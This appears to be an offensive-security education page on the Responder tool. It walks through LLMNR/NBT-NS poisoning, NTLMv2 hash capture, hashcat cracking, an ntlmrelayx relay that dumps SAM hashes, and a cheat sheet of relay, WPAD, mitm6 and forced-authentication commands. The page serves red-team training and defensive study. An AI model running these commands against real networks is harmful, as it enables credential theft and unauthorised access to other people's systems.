



◆ OFFENSIVE SECURITY SERIES ◆

RESPONDER

Hash Capture, NTLMv2 Cracking & NTLM Relay Attacks

LLMNR · NBT-NS · NTLMv2 · hashcat · ntlmrelayx · WPAD · mitm6

LLMNR Poison

NBT-NS Poison

NTLMv2 Capture

hashcat Crack

NTLM Relay

LDAP Relay

WPAD

RedTeamGarage (RTG) | Offensive Security Education

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Start & Server Config

[illegible]

Figure: Responder starts with LLMNR/NBT-NS/MDNS poisoning enabled, SMB and HTTP servers running



02 — HASH CAPTURE

Capture + hashcat Crack

```

Responder - Hash Capture & hashcat Crack

# Responder captures NTLMv2 hash when victim resolves fake hostname
# Victim tries to access \\fileserver01 which does not exist
[+] Listening for events...

[*] [NBT-NS] Poisoned answer sent to 10.10.10.101 for name FILESERVER01 (service: File Server)
[*] [LLMNR] Poisoned answer sent to 10.10.10.101 for name fileserver01
[SMB] NTLMv2-SSP Client : 10.10.10.101
[SMB] NTLMv2-SSP Username : DOMAIN\jdoe
[SMB] NTLMv2-SSP Hash : jdoe::DOMAIN:4e6f436f6e74...:a1b2c3d4e5f67890abcdef12345678:0101000000000000...

# Save hash to file and crack with hashcat
(kali)-[~]
kali $ cat /usr/share/responder/logs/SMB-NTLMv2-SSP-10.10.10.101.txt
jdoe::DOMAIN:4e6f436f6e74656374:a1b2c3d4e5f67890abcdef12345678:010100000000...

(kali)-[~]
kali $ hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt
jdoe::DOMAIN:4e6f436f6e74...:P@ssw0rd2024!
Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 5600 (NetNTLMv2)
Time.Estimated...: Tue Jan 15 09:45:33 2024 (0 secs)
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Speed.#1.....: 5318.7 kH/s (0.63ms)
  
```

Figure: NTLMv2 hash captured from jdoe, cracked to P@ssw0rd2024! in under 1 second



03 — NTLM RELAY

ntlmrelayx SAM Dump

```

Responder + ntlmrelayx - NTLM Relay Attack

# NTLM Relay - relay captured auth to SMB/LDAP
# Step 1: Disable SMB and HTTP in Responder (we relay, not capture)
(kali)-[~]
kali $ grep -E "^SMB|^HTTP" /etc/responder/Responder.conf
SMB = Off
HTTP = Off

# Step 2: Start ntlmrelayx targeting hosts without SMB signing
(kali)-[~]
kali $ python3 ntlmrelayx.py -tf targets_no_signing.txt -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTP loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80

# Step 3: Start Responder to poison (SMB/HTTP off)
(kali)-[~]
kali $ sudo python3 Responder.py -I eth0
[*] [NBT-NS] Poisoned answer sent to 10.10.10.101 for name FILESERVER01

# ntlmrelayx relays the auth to WIN-WS02 (no signing)
[*] Authenticating against smb://10.10.10.102 as DOMAIN\jdoe SUCCEED
[*] SMBD-Thread-5 (process_request_thread): Connection from DOMAIN\jdoe@10.10.10.101 controlled, attacking tar
get smb://10.10.10.102
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Dumping local SAM hashes on 10.10.10.102
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e2a1b3c4d5e6f7a8b9c0:::
localuser:1001:aad3b435b51404eeaad3b435b51404ee:1a2b3c4d5e6f7a8b9c0d:::

```

Figure: NTLM relay succeeds on WS02 (no signing), SAM dumped without needing plaintext password



04 — RESPONDER CHEAT SHEET

Quick Reference

Start Responder	<code>sudo python3 Responder.py -I eth0</code>
Analyze mode (no poison)	<code>sudo python3 Responder.py -I eth0 -A</code>
WPAD attack	<code>sudo python3 Responder.py -I eth0 -wPF (proxy auth capture)</code>
View captured hashes	<code>cat /usr/share/responder/logs/*.txt</code>
Crack NTLMv2	<code>hashcat -m 5600 hash.txt rockyou.txt</code>
Find no-signing hosts	<code>nxc smb SUBNET --gen-relay-list targets.txt</code>
NTLM relay setup	<code>python3 ntlmrelayx.py -tf targets.txt -smb2support</code>
Relay to LDAP	<code>python3 ntlmrelayx.py -t ldap://DC -smb2support --escalate-user USER</code>
Relay to ADCS	<code>python3 ntlmrelayx.py -t http://CA/certsrv/ -smb2support</code>
Disable SMB/HTTP	Edit <code>/etc/responder/Responder.conf</code> : <code>SMB=Off HTTP=Off</code>
mitm6 (IPv6)	<code>sudo mitm6 -d domain.local</code> (combine with <code>ntlmrelayx</code> for IPv6 poison)
Forced auth (SCF)	Place <code>.scf</code> file in writable share – triggers NTLM auth on browse
Hash format	NTLMv2: <code>hashcat -m 5600</code> NTLMv1: <code>hashcat -m 5500</code>



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